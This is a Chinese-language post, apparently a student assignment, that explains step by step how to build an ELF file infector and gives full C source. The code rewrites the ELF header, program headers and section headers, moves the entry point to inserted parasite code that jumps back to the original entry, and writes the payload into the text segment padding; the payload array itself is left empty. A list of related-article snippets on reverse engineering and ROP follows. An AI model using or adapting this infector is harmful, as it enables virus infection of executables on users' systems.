主要是修改ELF头结构以及段头结构,节头结构中的一些项,以达到插入病毒代码的目的。利用一段示例的二进制代码作为病毒进行演示。本次达到的目的是编程实现ELF文件感染器,并没有写出真正的病毒代码,只是实现第一部感染过程。使测试代码先于被感染的程序执行。
我们需要对ELF文件做的修改:
1 修正"ELF header"中的 e_shoff ,增加 PAGESIZE 大小
2 修正寄生代码的尾部,使之能够跳转回宿主代码原入口点 定位"text segment program header"
3 修正 "ELF header"中的 e_entry ,指向 p_vaddr + p_filesz
4 修正 p_filesz
5 修正 p_memsz
6 对于文本段phdr之后的其他phdr 修正 p_offset ,增加 PAGESIZE 大小
7 对于文本段的最后一个shdr 修正sh_size,增加寄生代码大小
8 对于那些因插入寄生代码影响偏移的每节的shdr 修正 sh_offset ,增加 PAGESIZE 大小
9 在文件中物理地插入寄生代码以及填充(确保构成一个完整页)到这个位置 text segment p_offset + p_filesz (original)。
代码:
/*
ELF infector source file
Student:
Student ID:
Class:
*/
# include < stdio. h>
# include < stdlib. h>
# include < elf. h>
# include < sys/ types. h>
# include < sys/ stat. h>
# include < fcntl. h>
# include < string . h>
//Define PAGESIZE,default 4K byte
# define PAGESIZE 4096
//Parasite Virus Code.The code is copied from Internet.
char Virus[ ] ={/*Binary code for test*/} ;
int infect( char * ElfFile) ;
//The size of Virus Code
int VirusSize= sizeof ( Virus) ;
int jmppoint=/*Jump point of binary code of Virus*/;
//Infector Function
int infect( char * ElfFile)
{
int result= 0;
int Re;
int FileD;
int TmpD;
int OldEntry;
int OldShoff;
int OldPhsize;
int i= 0;
Elf32_Ehdr elfh;
Elf32_Phdr Phdr;
Elf32_Shdr Shdr;
//Open ELF file and read the elf header part to &elfh
FileD= open ( ElfFile, O_RDWR) ;
read ( FileD, & elfh, sizeof ( elfh) ) ;
if ( ( strncmp ( elfh. e_ident, ELFMAG, SELFMAG) ) ! = 0)
exit ( 0) ;
//Old entry of original elf file
OldEntry= elfh. e_entry;
//Old section header offset of elf file
OldShoff= elfh. e_shoff;
//modify the Virus code line"movl "Oldentry",%eax" to jump to old entry
//after the Virus code excuted
* ( int * ) & Virus[ jmppoint ] = OldEntry;
//Increase e_shoff by PAGESIZE in the ELF header
elfh. e_shoff + = PAGESIZE;
//if Virus Size is too large
if ( VirusSize > ( PAGESIZE- ( elfh. e_entry% PAGESIZE) ) )
exit ( 0) ;
int Noff= 0;
//The loop of read and modify program header
for ( i= 0; i< elfh. e_phnum; i+ + )
{
//seek and read to &Phdr
lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
read ( FileD, & Phdr, sizeof ( Phdr) ) ;
if ( Noff)
{
//For each phdr who's segment is after the insertion (text segment)
//increase p_offset by PAGESIZE
Phdr. p_offset + = PAGESIZE;
//write back
lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
write ( FileD, & Phdr, sizeof ( Phdr) ) ;
}
else if ( PT_LOAD = = Phdr. p_type & & Phdr. p_offset= = 0)
{
if ( Phdr. p_filesz ! = Phdr. p_memsz)
exit ( 0) ;
// Locate the text segment program header
//Modify the entry point of the ELF header to point to the new
//code (p_vaddr + p_filesz)
elfh. e_entry = Phdr. p_vaddr + Phdr. p_filesz+ 4;
lseek( FileD, 0, SEEK_SET ) ;
//Write back the new elf header
write ( FileD, & elfh, sizeof ( elfh) ) ;
OldPhsize= Phdr. p_filesz;
Noff= Phdr. p_offset+ Phdr. p_filesz;
//Increase p_filesz by account for the new code (parasite)
Phdr. p_filesz + = VirusSize;
//Increase p_memsz to account for the new code (parasite)
Phdr. p_memsz + = VirusSize;
//write back the program header
lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
write ( FileD, & Phdr, sizeof ( Phdr) ) ;
}
}
lseek( FileD, OldShoff, SEEK_SET ) ;
//The loop of read and modify the section header
for ( i= 0; i< elfh. e_shnum; i+ + )
{
lseek( FileD, i* sizeof ( Shdr) + OldShoff, SEEK_SET ) ;
Re= read ( FileD, & Shdr, sizeof ( Shdr) ) ;
if ( i= = 1)
{
//For the last shdr in the text segment
//increase sh_size by the virus size
Shdr. sh_size + = VirusSize;
}
else if ( i!=0)
{
//For each shdr whoes section resides after the insertion
//increase sh_offset by PAGESIZE
Shdr. sh_offset + = PAGESIZE;
}
//Write Back
lseek( FileD, OldShoff+ i* sizeof ( Shdr) , SEEK_SET ) ;
write ( FileD, & Shdr, sizeof ( Shdr) ) ;
}
//To get the file size FileStat.st_size
struct stat FileStat;
fstat( FileD, & FileStat) ;
char * Data= NULL ;
Data= ( char * ) malloc ( FileStat. st_size- OldPhsize) ;
lseek( FileD, OldPhsize, SEEK_SET ) ;
read ( FileD, Data, FileStat. st_size- OldPhsize) ;
//Insert the Virus Code to the elf file
lseek( FileD, OldPhsize, SEEK_SET ) ;
write ( FileD, Virus, sizeof ( Virus) ) ;
char tmp[ PAGESIZE] = { 0} ;
//Pad to PAGESIZE
memset ( tmp, PAGESIZE- VirusSize, 0) ;
write ( FileD, tmp, PAGESIZE- VirusSize) ;
write ( FileD, Data, FileStat. st_size- OldPhsize) ;
result= 1;
free ( Data) ;
return result;
}
//Just for test
int main( int argc, char * * argv)
{
//How to use it
if ( argc!=2)
{
printf ( "Usage : infect <ELF filename>\n" ) ;
exit ( 0) ;
}
int test = infect( argv[ 1] ) ;
if ( test ! = 1)
{
exit ( 0) ;
}
return 0;
}
分享到:
相关推荐
- **分析一个简单的ELF文件**:学习如何使用readelf和objdump来分析一个基本的ELF可执行文件。 - **调试和修复内存泄漏**:使用Valgrind找出内存泄漏的位置,并使用GDB来调试和修复这些问题。 - **实现ROP攻击**:...
"elf.cpp"这个文件名可能指的是一个与ELF(Executable and Linkable Format)文件相关的项目,ELF是Unix和类Unix系统中常见的可执行文件和共享库格式。 在C++编程中,理解和处理ELF文件可以涉及以下几个关键知识点...
【cerbero.zip】是一个包含cerbero工具的压缩文件,该工具专为二进制分析而设计,具有强大的功能,能够帮助专业人士深入理解计算机程序的工作原理,尤其是在安全分析领域。cerbero具备反汇编器和文件格式查看器的...
2. **二进制格式**:理解ELF(Executable and Linkable Format)文件结构至关重要,它包含了程序的代码、数据、重定位信息等。理解段(sections)和节(segments)的概念有助于分析和修改二进制文件。 3. **缓冲区...
ELF文件是一种二进制文件格式,用于存储程序代码和数据。一个ELF文件分为几个不同的部分,包括ELF头(ELF header)、程序头部表(Program header table)、节头部表(Section header table)和实际的数据部分。ELF头...
首先,本文涉及的知识点主要集中在Linux操作系统下的反编译技术,特别是针对Ubuntu系统环境下elf64-x86-64格式的二进制文件进行反汇编。以下是对相关内容的详细解释: ### 知识点一:反编译与反汇编基本概念 - **...
ELF是Unix和类Unix系统(如Linux)中广泛使用的可执行文件、共享库和对象文件的二进制格式。"小精灵钩"(Elf Hook)通常是指对ELF文件中的特定函数或地址进行挂钩(hook),以便在程序运行时监控或修改其行为。这种...
在Linux操作系统中,寄生程序是一种注入到其他可执行文件中的代码,常用于二进制文件的加解密、版权保护等用途,甚至病毒也属于寄生程序的一种形式。然而,在Linux环境下,由于寄生程序无法可靠地访问宿主程序未加载...
1. **Gadget搜索**:ROPGadget能够扫描给定的二进制文件(ELF、PE等),找出可用于构造ROP链的指令序列。它支持多种架构,如x86、x86_64、ARM等。 2. **指令过滤**:用户可以通过指定指令集、操作码、条件或长度来...
- **非标准文件格式分析**:IDA不仅适用于标准的PE或ELF格式文件,还可以用来分析非文件格式的代码,比如ShellCode、远线程注入代码以及某些类型的病毒。这类代码的一个显著特点是它们会动态获取API地址,这增加了...
ELF(Executable and Linkable Format)是Unix系统及其类似操作系统,如Linux,广泛采用的一种二进制文件格式。它包含了程序的机器代码、符号表、重定位信息等,使得编译器、链接器和加载器能够正确处理程序的构建和...
1. **加壳技术原理**:加壳技术的核心思想是将原始程序的机器码(二进制代码)包装在另一段代码(壳代码)内,壳代码负责加载和执行原始程序。通过这种方式,可以隐藏原始代码,增加反编译和调试的难度。 2. **...
1. **解析二进制文件格式**:加载器能够理解并解析可执行文件的格式,如PE(Portable Executable)格式在Windows系统中或ELF(Executable and Linkable Format)格式在Unix-like系统中。 2. **映射内存**:加载器将...
这个过程涉及到动态链接器和ELF(Executable and Linkable Format)文件格式。 5. **异常处理**:如果加载失败,系统会抛出UnsatisfiedLinkError,开发者需要正确处理这种情况,比如提供备用实现或者提示用户安装...
5. **安全**:二进制文件的安全性很重要,可能需要防止病毒、恶意软件的注入,以及确保代码签名的完整性和可信度。 【压缩包子文件的文件名称列表】:mybinary-main 这个文件名“mybinary-main”可能暗示着这是...
6. **逆向工程**:Python也可用于静态和动态分析二进制代码,进行逆向工程。这包括解析PE/ELF文件,调试器接口的使用,以及动态分析技术。 7. **取证分析**:Python可以帮助进行数字取证,例如日志分析、文件系统...
5. **逆向工程**:Python可以辅助分析二进制文件,如` lief`库可以读取PE、ELF等格式的文件头信息。`pyelftools`用于分析ELF文件,理解程序的动态链接和调试信息。 6. **文件系统操作**:Python的`os`和`shutil`库...
TriD,全称为Triangle Dumper,是一款著名的文件分析工具,主要用于识别未知或复杂的二进制文件格式。它通过分析文件头来确定可能的文件类型,这对于软件开发、逆向工程和安全研究非常有用。在Android环境中,这样的...
8. **二进制混淆和反混淆**:Python也可以用于编写混淆和反混淆的工具,比如对代码进行加密、虚拟化,或者逆向混淆过的二进制文件。 9. **信息收集**:在CTF比赛中,信息收集是非常重要的一环。Python可以用来抓取...
- 进入此状态是为了确保上一个连接的所有数据都已经正确送达对方,并且避免旧的连接请求报文段干扰新的连接。 - **TCP可靠传输** - 采用确认应答机制、重传机制以及错误检测等技术来保证数据的完整性和可靠性。 ...